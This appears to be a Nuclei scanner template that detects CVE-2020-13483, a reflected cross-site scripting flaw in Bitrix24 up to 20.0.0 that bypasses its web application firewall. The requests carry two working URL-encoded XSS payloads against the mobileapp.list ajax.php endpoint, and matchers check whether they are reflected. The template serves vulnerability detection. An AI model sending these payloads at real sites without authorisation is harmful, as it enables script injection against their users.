id: CVE-2020-13483

info:
  name: Bitrix24 through 20.0.0 allows XSS
  author: pikpikcu,3th1c_yuk1
  severity: medium
  description: The Web Application Firewall in Bitrix24 through 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
  reference:
    - https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
    - https://twitter.com/brutelogic/status/1483073170827628547
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13483
    cwe-id: CWE-79
  tags: cve,cve2020,xss,bitrix

requests:
  - method: GET
    path:
      - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
      - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'

    stop-at-first-match: true
    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - '<a href="/*">*/)});function __MobileAppList(){alert(1)}//'
          - "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200